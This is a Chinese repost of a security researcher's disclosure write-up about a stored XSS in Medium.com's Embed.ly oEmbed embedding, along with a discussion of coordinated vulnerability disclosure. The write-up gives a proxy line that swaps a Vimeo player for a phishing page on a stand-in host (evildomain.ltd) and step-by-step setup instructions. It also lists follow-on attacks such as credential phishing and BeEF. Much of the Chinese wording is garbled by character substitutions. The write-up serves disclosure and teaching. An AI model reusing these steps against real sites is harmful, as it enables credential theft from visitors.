Medium.com的存储型xss【未经验证的oEmbed】 | 申博官网
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

Medium.com的存储型xss【未经验证的oEmbed】

Sunbet_新闻事件 申博 253次浏览 已收录 0个评论

配景

在我的上一篇文章中,你能够相识到许多关于反射型xss的。下面的这个进击就能够诳骗用户去接见一个准备好的url。

然则若是我们把我们的JavaScript代码放入页面内里的话,会发作甚么呢?

影响会异常伟大;没有特别的urls,也没有XSS auditors打搅我的兴趣。我们称之为存储型xss。你能够会记得,我们用这类进击体式格局胜利过一次;请看这篇文章

赓续的搜刮目的,如许能力资助我们找到更多的破绽。那末Medium.com?Woohoo!他们家也有很棒的应急相应中央

我异常喜好用这个平台写文章。它的设想整齐,没有告白,而且它异常棒。至心异常喜好它。

Medium.com的存储型xss【未经验证的oEmbed】

辨认目的

Medium所做的事变就是存储信息,然后再把这些信息分享进来。我们寻觅一种体式格局把我们的代码放进文章内里,而且让他实行起来。以是我们来看看他们的故事编辑器。

这个编辑器支撑多种范例的内容;纯文本,图象和媒体文件。

Medium.com的存储型xss【未经验证的oEmbed】

经由历程嵌入媒体文件,能够雄厚你的故事。好比,加载外部的视频,展现你推特主页上的个人信息。你只须要在编辑器上点“+”,粘贴上url,再点一下回车,你就看到魔法的发作。这类魔法叫oEmbed.

Medium.com的存储型xss【未经验证的oEmbed】

若是你有一个像Medium.com一样的平台,而且你想支撑一切的范例。这就意味着你要手动操纵白名单来限定外部的网站,同时还要包管插件的平安,适配插进去的数据,和连结插件的拓展性。

这些事变都不是很轻易的,然则,Medium.com把它做成了一个产物,Embed.ly

Medium.com的存储型xss【未经验证的oEmbed】

Mmm,若是我们酿成一个供应商,在内里放入歹意的代码呢?超棒,经由历程插进去代码立时就能够在博文中注入代码。

让我们做一个假的登录页面来作为poc吧。

Embed.ly是怎样事情的呢?

屏幕背面终究发作了甚么样的事变呢?起首,看一下它们的文档,看看他们支撑甚么样的数据格式

以是,这就意味着,我们歹意网站中内容必需包罗适宜的oEmbed标签?想一想若是网页中包罗了oEmbed标签,那末这个标签中内容就是一个视频播发器,然则要怎样无声的加载一个假的登录页面呢?

没有那末快的,同伙。假的登录页面页面会在目的网站上被衬着成为一个包罗题目,形貌,域名的盒子。下面是它的结构:
Medium.com的存储型xss【未经验证的oEmbed】

仅仅有权限的人材被许可嵌入它们的魔法。我闻声你说:“好吧,那我就成为一个提供商吧”。然则不幸的是,想要要求成为一个提供商就意味着我们须要一点社会工程学的技能。Medium.com是不许可经由历程如许的体式格局来找到破绽的。
Medium.com的存储型xss【未经验证的oEmbed】

让我们翻开Medium的编辑器,若是我们实验插进去 vimeo video,看看浏览器做了甚么事变。由于Vimeo在白名单中,以是这个视频应当能够被胜利的插进去,然后我们须要相识更多关于Embed.ly内部的事情道理。

oEmbed是怎样事情的呢?给你们看截图
Medium.com的存储型xss【未经验证的oEmbed】
Medium.com的存储型xss【未经验证的oEmbed】
Medium.com的存储型xss【未经验证的oEmbed】
Medium.com的存储型xss【未经验证的oEmbed】
Medium.com的存储型xss【未经验证的oEmbed】
Medium.com的存储型xss【未经验证的oEmbed】

重点存眷的是Embed.ly给每个嵌入的资本建立了一个mediaResourceId。这个mediaResourceId是url的MD5,这是一个明智的行为,能够让后端把结果缓存起来。若是有人已援用过该资本,那末Embed.ly服务器立时就能够从缓存中把这个资本取出来。

Medium运用博文中的mediaResourceId去援用指定的资本,博文中不会存储相干的html数据。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

以是,我们要前诳骗Embed.ly,让它给我们的垂纶页面建立一个mediaResourceId。而且Embed.ly要经由历程mediaResourceId来在一个框架中显现我的垂纶页面。

让我们看看,若是我们试图建立我们本身的mediaResourceId会发作甚么
Medium.com的存储型xss【未经验证的oEmbed】

不胜利。岂非要增加一些 oEmbed或许Open Graph的标签能力把垂纶页面以播放器的情势嵌入进博文吗?不交运的是,我实验了险些一切的要领,照样不可。

以是我必需想一想其他的要领。

用Vimeo作为署理

经由历程截屏5,我们能够晓得,Embed.ly能够嵌入来自Vimeo的视频,而且能够为视频加载视频播放器。

GET /widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F142424242%3Fapp_id%3D122963&dntp=1&url=https%3A%2F%2Fvimeo.com%2F142424242&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text%2Fhtml&schema=vimeo

解码后

GET /widgets/media.html?src=https://player.vimeo.com/video/142424242?app_id=122963&dntp=1&url=https://vimeo.com/142424242&image=https://i.vimeocdn.com/video/540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text/html&schema=vimeo

若是我们举行一次中间人进击,而且伪装本身是Vimeo的话,那末是不是能够胜利?如许我们就能够转变Vimeo的返回报文,往来来往加载我们本身的登录页面了。搜刮指向vimeo的字符串https://player.vimeo.com/video/142424242,把它改成https://evildomain.ltd/fakelogin,这听起来不错。

中间人进击

  1. 疾速搭建:翻开你的php服务器,上传你的垂纶页面(页面文件中包罗一个设想好的假的登录页面),上传署理文件(miniProxy, 许可我们加载指定的外部链接,而且转变服务器返回的报文)
  2. 在proxy.php的381行上面,也就是//Parse the DOM上面增加$responseBody = str_replace("player.vimeo.com/video/142424242", "https://evildomain.ltd/embedly/fakelogin.html", $responseBody);
  3. 建立一个新的Medium博文
  4. 插进去一个链接 https://evildomain.ltd/embedly/proxy.php?vimeo.com/142424242
  5. Medium.com将会要求 https://evildomain.ltd/embedly/proxy.php?vimeo.com/142424242以猎取到详细信息,我们向他们发送一个与Vimeo雷同的报文,然则在播放器中只包罗了我们的垂纶页面。
  6. 守候魔法的发作,我们的代码注入胜利了

Medium.com的存储型xss【未经验证的oEmbed】

Medium.com的存储型xss【未经验证的oEmbed】

让我们从新加载这篇文章,看到假的登录页面已被胜利的加载
Medium.com的存储型xss【未经验证的oEmbed】

议论 甚么是协同破绽表露CVD?

你能够还记得上一篇关于 IKEA的文章;一同合作表露这一切会消费一些时刻。本日我们在Medium.com遇到了雷同的题目。

这个题目正在被议论;在联系到他们的工程师之前,我收到了十一封电子邮件。当我们最先议论的时刻,我们敏捷的找到最最先的bug,而且把它处理掉了,然则它们的缓存服务器内里还留着歹意的payload,。以后Medium清理了歹意的缓存。以后我公开了这篇文章。全部历程花了86天。

来自国度收集信息中央的新守则

在2018年10月4日,荷兰当局为cvd公开了一份新的守则。这个新守则修改了2013年宣布的破绽申报表露守则。他们把名字从破绽申报表露守则改成有序破绽表露。重要的缘由是由于,他们想把重要的精神放在清楚的交换和相互的合作方面。

Medium.com的存储型xss【未经验证的oEmbed】

让破绽申报者和手艺工程师举行直接交换是cvd的初志。作为末了的选项:完整表露,如今也在守则中有所说起

cvd的中心头脑是削减破绽,若是以为修复流程延续的太久,那末破绽能够被完整表露。关于申报方来讲这类步伐能够催促厂商修复破绽。很天然的是,这类状况应当尽量的被阻挠。

想到IKEA那篇文章时,我以为我应当试图去制止这类状况的发作。

Medium.com的存储型xss【未经验证的oEmbed】

从这篇申报中我学到一课,就是,虽然公司也有本身的cvd流程,然则我们也须要在处理破绽的历程当中连结耐烦。

关于公司来讲,让破绽申报者更轻易的靠近工程师是异常重要的,这能够资助破绽工程师一同合作修复破绽,而且能够实时更新申报内容。这也会相互节约大批的时刻。

结论

我发明一种体式格局能够在博文中存储我本身的html和JavaScript代码,当受害者的浏览器接见到我发在Medium上的文章时,就会实行我存储在博文上的代码。我经由历程中间人进击来操纵oEmbed标签,从而到达在页面上存储歹意代码的结果。

我们注入的JavaScript只能运行在Medium.com的页面框架中,这就意味着虽然我们的JavaScript被注入到页面当中,然则我们不克不及接见Medium.com的cookie,或许操纵父页面上的dom。如许的话,这个破绽的伤害水平进一步减小。

但是这个破绽依旧能够致使许多伤害。一个一般的访客是不克不及够辨别一般的登录页面和一个垂纶页面的。

进击的伤害

  1. 圆满的垂纶页面
  2. 在用户输入他们的凭据以后,我能够把页面自动重定向到另一个页面,而不 会引起疑心(经由历程运用top.location.href)
  3. 用beef进击接见者
  4. 会形成点击挟制进击

我还忘了哪些呢?请给我留言

处理方案

  1. 改良oEmbed猎取器的搜检流程,制止框架接见没有经由考证的源
  2. 不要用框架
  3. 搜检缓存(这件事虽然很难题)

Medium.com的存储型xss【未经验证的oEmbed】


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Medium.com的存储型xss【未经验证的oEmbed】
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址